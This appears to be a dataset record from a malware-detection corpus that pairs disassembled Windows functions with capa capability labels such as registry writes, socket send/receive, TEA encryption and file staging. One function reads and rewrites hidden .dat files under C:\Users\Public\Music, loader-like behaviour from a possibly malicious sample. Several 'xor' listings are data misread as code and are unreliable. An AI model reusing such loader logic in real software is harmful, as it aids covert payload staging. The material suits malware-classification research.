joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ec90
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x4b22c8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x84]
push edi
push 0x80
push 0
push eax
call fcn.00460e20
push 0x80
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.0045e150
lea ecx, [ebp - 0x188]
mov edi, esi
mov eax, ecx
add esp, 0x18
mov edx, 0x104
sub edi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x45ecfa
mov al, byte [edi + ecx]
test al, al
je 0x45ecfa
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x45ece1
lea eax, [ecx - 1]
test edx, edx
cmovne eax, ecx
mov ecx, 0x104
mov byte [eax], 0
lea eax, [ebp - 0x188]
cmp byte [eax], 0
je 0x45ed1b
inc eax
sub ecx, 1
jne 0x45ed10
mov edx, 0x104
mov edi, ecx
mov eax, edx
sub eax, ecx
neg edi
sbb edi, edi
and edi, eax
test ecx, ecx
je 0x45ed70
lea ecx, [ebp - 0x188]
lea ecx, [ecx + edi]
sub edx, edi
je 0x45ed65
lea edi, [ebp - 0x84]
mov eax, SysReAllocString
sub edi, ecx
push ebx
nop dword [eax + eax]
test eax, eax
je 0x45ed64
mov bl, byte [edi + ecx]
test bl, bl
je 0x45ed64
mov byte [ecx], bl
dec eax
inc ecx
sub edx, 1
jne 0x45ed50
pop ebx
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
push 0x100
lea eax, [ebp - 0x288]
mov dword [ebp - 0x290], 1
push 0
push eax
call fcn.00460e20
add esp, 0xc
mov dword [ebp - 0x28c], 0x100
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x290]
push eax
push 0x49cf6c
push str.SoftwareComMaster
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
test eax, eax
jne 0x45ee2a
lea eax, [ebp - 0x288]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x45edf4
test cl, cl
je 0x45edf0
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x45edf4
add eax, 2
add esi, 2
test cl, cl
jne 0x45edd4
xor eax, eax
jmp 0x45edf9
sbb eax, eax
or eax, 1
test eax, eax
je 0x45ee2a
lea ecx, [ebp - 0x288]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ee06
sub ecx, edx
lea eax, [ebp - 0x288]
push ecx
push eax
push 1
push str.mid_old
push str.SoftwareComMaster
push reloc.OLEAUT32.dll_SysReAllocString
call edi
lea ecx, [ebp - 0x188]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ee33
sub ecx, edx
lea eax, [ebp - 0x188]
push ecx
push eax
push 1
push 0x49cf6c
push str.SoftwareComMaster
push reloc.OLEAUT32.dll_SysReAllocString
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00446191
mov esp, ebp
pop ebp
ret

Function at 0x4819dd
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048169d

Function at 0x481c0d
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00481b12
Function at 0x457def
Capabilities:
Encode data using xor

Disassembly:
je 0x457e3e
xlatb
mov bl, bh
mov ah, 0xa2
stc
cmp al, 0x71
cmp ecx, dword [edx + 0x479016b4]
loopne 0x457df7
or byte [ebx - 0x4ae86b], 0xbe
sbb eax, 0xfdecf138
invalid
cmc
daa
jo 0x457e64
mov bl, 0x16
and ah, ch
jae 0x457e58
push eax
inc ebp
mov bh, 0x7b
invalid
mov dh, 0xb7
mov bl, byte [0x28539a11]
xor al, 0x17
pop ss
lodsd eax, dword [esi]
pop edi
lodsd eax, dword [esi]
add ah, byte [eax + 0x658156c4]
mov bh, 0x4f
jne 0x457e37
mov al, byte [ecx]
push esi
mov bh, 0x3e
and dword [esi + 0x78], eax
and dword [edi - 0x74f184a6], edx
das
push cs
mov ebp, dword [edi]
add bh, byte [ecx + 0x10041022]
inc edx
out dx, eax
movsd dword es:[edi], dword [esi]
inc ebp
xchg esi, eax
insb byte es:[edi], dx
sub esi, 0xcdfb84df
sahf
je 0x457e12
out 0x15, eax
insb byte es:[edi], dx
in eax, 9
and esi, ebp
test byte [eax], 0x3e
xchg ebp, eax
fsubrp st(0)
or al, ch
out dx, eax
out dx, eax
cmpsb byte [esi], byte es:[edi]
inc ecx
test al, 0x95
and byte [esi], cl
mov eax, dword [0xa7dbdefc]
insd dword es:[edi], dx
push 0xfffffffffffffff3
mov esi, 0xbc38ecb
je 0x457e35
push ecx
lds edi, [ebp + 0x17]
adc eax, 0xe7527202
and edi, dword [edi + edi + 0x65]
mov eax, dword [0x4e7b315]
loop 0x457ecd
jle 0x457ecb
lcall 0x7900, 0x4edd7120
pop ss
push ds
invalid
or byte [esi], ch
invalid
push cs
pop ebp
aad 0xb4
jnp 0x457f16
pop ds
jbe 0x457f18
je 0x457f0e
pop edi
aas
dec edx
std
adc dword [eax + 0x10], ecx
xchg esi, eax
adc eax, 0x96fa786d
inc ebx
jbe 0x457ec7
xor al, 0x53
movsd dword es:[edi], dword [esi]
out dx, al
adc eax, 0x959dc205
test byte [edi], bh
push eax
adc al, 0xfe
and byte [eax], cl
fcmovb st(0), st(6)
test al, ah
and al, 0x4a
push 0x1c6963ef
jmp 0x457e84
pop ecx
iretd
mov dh, 0x44
cmp al, 0x45
xor dword [ecx + eax], esi
and byte [ecx + 0x41], bl
push ss
aam 0xeb
movsd dword es:[edi], dword [esi]
invalid
Function at 0x6197df
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x85
inc ecx
jl 0x61981e
cmp ah, byte [eax + 0x3d82f220]
bnd jae fcn.006197df
int1
fistp qword [ebx - 0x50]
add al, 0x3b
jle 0x619805
mov dl, 0x7b
or esi, dword [ebx]
invalid
add eax, ebp
pop ss
stosd dword es:[edi], eax
insd dword es:[edi], dx
movsd dword es:[edi], dword [esi]
out dx, al
jp 0x6197ae
inc edi
mov edi, 0x2d633b3b
jno 0x61983c
mov ah, 4
mov dword [0xa230e1ae], eax
dec edx
rcl byte [edx]
sub eax, 0x2cfc9576
cld
sbb eax, 0xbba5a001
cwde
retf 0xfb4d
movsd dword es:[edi], dword [esi]
mov ebx, 0xfb4dca98
inc edi
push 0xffffffffffffffda
jno 0x619877
loope 0x61984e
rcr dword [ebp + 0xf], cl
jmp 0x619837
xchg ebx, eax
push edx
insd dword es:[edi], dx
outsb dx, byte [esi]
xor dword [edx], 0xfffffff5
xor dh, ch
cmc
xchg dword [esi], esp
inc eax
pop esi
jo 0x619819
xor byte [ebp - 0x2e], ch
lahf
popal
not byte [eax + ecx*4 + 0x13e7a15f]
aas
ret 0xb1c0
outsb dx, byte [esi]
pop es
out 0xf1, al
sbb eax, 0xadfef003
ror byte [ebx], 1
mov ah, 0x3f
test eax, 0xc503bc74
stosd dword es:[edi], eax
aad 0x6a
leave
adc esp, esi
dec esi
jo 0x61981f
add esi, eax
invalid
hlt
js 0x619855
pushal
pop esp
int3
int 0x80
dec eax
push eax
jnp 0x619889
mov ecx, 0x41f1e6a2
dec ebp
mov ch, 0x35
pop ebp
mov dword [esi - 0x2ec8dddb], ebp
mov ebx, dword [edi - 1]
add edx, dword [ecx]
loopne 0x6198e9
and eax, 0x8bd13722
pop edi
inc dword [ebx]
adc eax, esp
push ebp
sub byte [0xc5f7c88d], dh
imul esi, dword [edx + 0x29], 0x49b8f03
inc ebx
ret
mov ebx, 0x6e640828
pop edi
jle 0x619939
imul edi, dword [edi*4 + 0x6fbea3cc], 0xffffffa8
retf 0x3b40
inc ecx
push eax
movsd dword es:[edi], dword [esi]
daa
sub dword [eax], ebx
ret 0xc136

Function at 0x62dc74
Capabilities:
Encode data using xor

Disassembly:
cwde
cld
inc edx
pop esp
push cs
inc edx
push ebp
mov edi, 0x3157e7bf
add cl, byte [eax + 0x13]
mov al, byte [0x966481d8]
push 0xffffffffffffff9e
sahf
xor al, 0x73
mov ebx, 0x766aa674
inc eax
xchg ebx, eax
push edx
scasd eax, dword es:[edi]
pushal
push ds
in eax, 0xc1
in al, dx
sbb ah, byte [ebx - 0x1b]
jno 0x62dccd
popal
rol dword [ecx + 0x3601570], 1
rol byte [0x8731d802], 0xa6
insd dword es:[edi], dx
nop
fadd dword [ebx + 0x4e]
xchg esi, eax
xchg edi, eax
jne 0x62dc8a
add edx, eax
pop edx
xor al, 0x49
jno 0x62dcd9
xor byte [edx], 0xde
invalid
and byte [edx - 0x43], 0xeb
wait
add eax, 0x82001ca6
js 0x62dc9b
shl dword [ecx + 0x269d1ef1], 0x94
mov eax, dword [0x269d1ef1]
xchg esp, eax
cmp eax, 0x10075024
and byte [ecx + 0x5b], bl
add dword [esi + 0x67a6afec], 0xce88b1f0
xchg edi, eax
mov bl, 0x23
jge 0x62dcea
in al, dx
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
invalid
or byte [edi + 3], 0x66
fcmovb st(0), st(3)
in eax, 0x90
sbb eax, 0xb6b70c55
pop ebx
push ecx
out dx, eax
adc byte [edi], cl
sub ebp, dword [edx + eax*2 + 0x63]
call 0x84e7345a
and ch, byte [esi - 0x29]
and al, 0xba
pop esp
invalid
Function at 0x4010fd
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x46c018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
lea eax, [esi + 0x10]
cmp dword [eax + 0x14], 0x10
push edi
jb 0x40111d
mov eax, dword [eax]
push eax
push 0x2712
push dword [esi + 4]
call fcn.004065e0
xor ebx, ebx
add esp, 0xc
mov eax, str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:13.0__Gecko_20100101_Firefox_13.0.1
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
call fcn.00401304
cmp dword [ebp - 0xc], 0x10
mov eax, dword [ebp - 0x20]
jae 0x401156
lea eax, [ebp - 0x20]
push eax
push 0x2722
push dword [esi + 4]
call fcn.004065e0
push 5
push 0x44
push dword [esi + 4]
call fcn.004065e0
push 1
push 0x34
push dword [esi + 4]
call fcn.004065e0
push 1
push 0x63
push dword [esi + 4]
call fcn.004065e0
push ebx
push 0x2f
push dword [esi + 4]
call fcn.004065e0
push 0x40127c
push 0x4e2b
push dword [esi + 4]
call fcn.004065e0
add esp, 0x48
push esi
push 0x2711
push dword [esi + 4]
call fcn.004065e0
push ebx
push 0x40
push dword [esi + 4]
call fcn.004065e0
push ebx
push 0x51
push dword [esi + 4]
call fcn.004065e0
add esp, 0x24
push 1
xor edi, edi
lea esi, [ebp - 0x20]
call fcn.00401376
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405956
leave
ret

Function at 0x40129a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push dword [eax + 8]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
pop ebp
ret 0xc

Function at 0x403090
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x40309b
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x40314f
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x469378]
add ecx, 8
sub edi, 8
dec esi
jne 0x4030b2
pop ebx
test edi, edi
je 0x403168
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x469378]
inc ecx
dec edi
jne 0x403153
pop esi
not eax
pop edi
ret
Function at 0x40316d
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x469378]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x469378]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x40389e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x4038ce
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4038c9
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x4038f7
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x4038df
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_memcpy]
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret

Function at 0x404596
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [esi], 0
push edi
jne 0x404609
cmp dword [esi + 4], 0xffffffff
jne 0x404609
lea edi, [esi + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
call dword [sym.imp.MSVCR100.dll_strlen]
mov al, byte [eax + esi + 0x13f]
pop ecx
cmp al, 0x5c
je 0x4045dd
cmp al, 0x2f
je 0x4045dd
push 0x46179c
push edi
call dword [sym.imp.MSVCR100.dll_strcat]
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
call fcn.0040375a
pop ecx
test eax, eax
jne 0x4045f0
mov eax, dword [ebp - 4]
jmp 0x40460e
push eax
call fcn.00403aed
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x40460e
mov eax, 0x1000000
pop edi
leave
ret
Function at 0x404b2d
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x46c018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test ebx, ebx
je 0x404b61
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x404b61
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [esi]
test al, al
je 0x404bfb
push edi
mov edi, esi
mov ecx, esi
cmp al, 0x2f
je 0x404b78
cmp al, 0x5c
jne 0x404b7a
mov edi, ecx
inc ecx
mov al, byte [ecx]
test al, al
jne 0x404b70
cmp edi, esi
je 0x404bae
sub edi, esi
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_memcpy]
lea eax, [ebp - 0x20c]
push eax
push ebx
mov byte [ebp + edi - 0x20c], 0
call fcn.00404b2d
add esp, 0x14
mov byte [ebp - 0x108], 0
pop edi
test ebx, ebx
je 0x404bca
lea eax, [ebp - 0x108]
push ebx
push eax
call dword [sym.imp.MSVCR100.dll_strcpy]
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_strcat]
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x404bfb
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00405956
leave
ret
Function at 0x4050b4
Capabilities:
Check mutex on windows

Disassembly:
push str.FDM___remote_control_server
push 0
push 0
mov dword [esi], vtable.vmsSingleInstance.0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4050e6
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi + 4], 0
mov eax, esi
ret

Function at 0x405173
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [esi]
push ebx
mov edx, 0xf1bbcdc8
mov dword [ebp - 4], 8
push edi
mov edi, ecx
shl edi, 4
add edi, dword [0x46c1c8]
mov ebx, ecx
shr ebx, 5
add ebx, dword [0x46c1cc]
xor edi, ebx
lea ebx, [ecx + edx]
xor edi, ebx
sub eax, edi
mov edi, eax
shl edi, 4
add edi, dword [str.4gUIxbPjlPWBlcLwF00]
mov ebx, eax
shr ebx, 5
add ebx, dword [0x46c1c4]
xor edi, ebx
lea ebx, [eax + edx]
xor edi, ebx
sub ecx, edi
add edx, 0x61c88647
dec dword [ebp - 4]
jne 0x40518c
mov edx, dword [ebp + 8]
pop edi
mov dword [edx], ecx
mov dword [esi], eax
pop ebx
leave
ret

Function at 0x405213
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.MSVCR100.dll_fopen_s]
push edi
push 0x45d734
lea eax, [ebp - 4]
push str.C:UsersPublicMusicherthren.dat
push eax
call esi
mov edi, dword [sym.imp.MSVCR100.dll_fseek]
push 2
xor ebx, ebx
push ebx
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [sym.imp.MSVCR100.dll_ftell]
push ebx
push ebx
push dword [ebp - 4]
mov dword [ebp - 8], eax
call edi
push dword [ebp - 8]
call dword [sym.imp.mfc100.dll_Ordinal_265]
push dword [ebp - 4]
mov ebx, eax
push dword [ebp - 8]
push 1
push ebx
call dword [sym.imp.MSVCR100.dll_fread]
push dword [ebp - 4]
mov edi, dword [sym.imp.MSVCR100.dll_fclose]
mov dword [ebp - 8], eax
call edi
mov eax, dword [ebp - 8]
add esp, 0x40
mov ecx, ebx
call fcn.004051e0
push 0x467e44
lea eax, [ebp - 0xc]
push str.C:UsersPublicMusicdggde.dat
push eax
call esi
push dword [ebp - 0xc]
push dword [ebp - 8]
push 1
push ebx
call dword [sym.imp.MSVCR100.dll_fwrite]
push dword [ebp - 0xc]
call edi
push ebx
call dword [sym.imp.mfc100.dll_Ordinal_266]
add esp, 0x24
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405956
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46c018]
jne 0x405960
repz ret
jmp fcn.00405e5b

Function at 0x406410
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
push ebx
push esi
push edi
mov word [ebp - 4], 0x202
lea eax, [ebp - 0x194]
push eax
mov cx, word [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
je 0x40644d
mov eax, 2
jmp 0x4064d1
mov edx, dword [ebp - 0x194]
and edx, 0xffff
and edx, 0xff
and edx, 0xff
mov eax, dword [ebp - 4]
and eax, 0xffff
and eax, 0xff
and eax, 0xff
cmp edx, eax
jne 0x4064a6
mov ecx, dword [ebp - 0x194]
and ecx, 0xffff
shr ecx, 8
and ecx, 0xff
mov edx, dword [ebp - 4]
and edx, 0xffff
shr edx, 8
and edx, 0xff
cmp ecx, edx
je 0x4064b3
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
jmp 0x4064d1
call fcn.004092a0
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
je 0x4064cf
mov eax, dword [ebp - 0x19c]
jmp 0x4064d1
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418d50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4 + 0x190]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00418e10
add esp, 8
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0x18]
mov dword [edx], 0
cmp dword [ebp - 8], 0xffffffff
jne 0x418dfe
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
jne 0x418dc3
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], 0x51
jmp 0x418dfe
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004205c0
add esp, 8
push eax
push str.Send_failure:__s
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.00418ad0
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x472c], ecx
mov edx, dword [ebp + 0x18]
mov dword [edx], 0x37
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418e10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4 + 0x190]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
shl eax, 4
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax + 0x1b8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, dword [eax + 4]
sub edx, dword [ecx + 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x438]
mov edx, dword [ecx + 0x3c]
and edx, 3
test edx, edx
je 0x418f4a
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4 + 0x1a8], 0x418fb0
jne 0x418f4a
mov edx, dword [ebp - 8]
cmp dword [edx], 0
je 0x418e8b
cmp dword [ebp - 0xc], 0
je 0x418f4a
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call fcn.00406b00
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x418f4a
mov ecx, dword [ebp - 0x10]
and ecx, 1
test ecx, ecx
je 0x418f4a
mov edx, dword [ebp - 8]
cmp dword [edx], 0
jne 0x418efc
mov eax, dword [ebp - 8]
mov dword [eax + 4], 0x8000
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
push edx
call dword [0x46c030]
add esp, 4
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov edx, dword [ebp - 8]
mov dword [edx + 8], 0
mov eax, dword [ebp - 8]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x418f40
xor ecx, ecx
test ecx, ecx
jne 0x418f04
push 0
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
add ecx, dword [edx + 8]
push ecx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x418f3e
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov dword [eax + 8], edx
jmp 0x418f4a
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419600
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x419652
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 8], eax
xor eax, eax
cmp dword [ebp - 8], 0x2733
sete al
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41964b
mov eax, 0x51
jmp 0x41965c
mov eax, 0x38
jmp 0x41965c
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419a00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
cmp dword [eax + 0x1a0], 0
je 0x419a3d
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x12c]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 8]
call dword [ecx + 0x1a0]
add esp, 0x14
jmp 0x419a94
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jl 0x419a92
cmp dword [ebp - 4], 2
jle 0x419a51
jmp 0x419a92
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x128]
push ecx
push 1
push 2
mov edx, dword [ebp + 0xc]
imul edx, edx, 3
add edx, 0x45e568
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x128]
push ecx
push 1
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret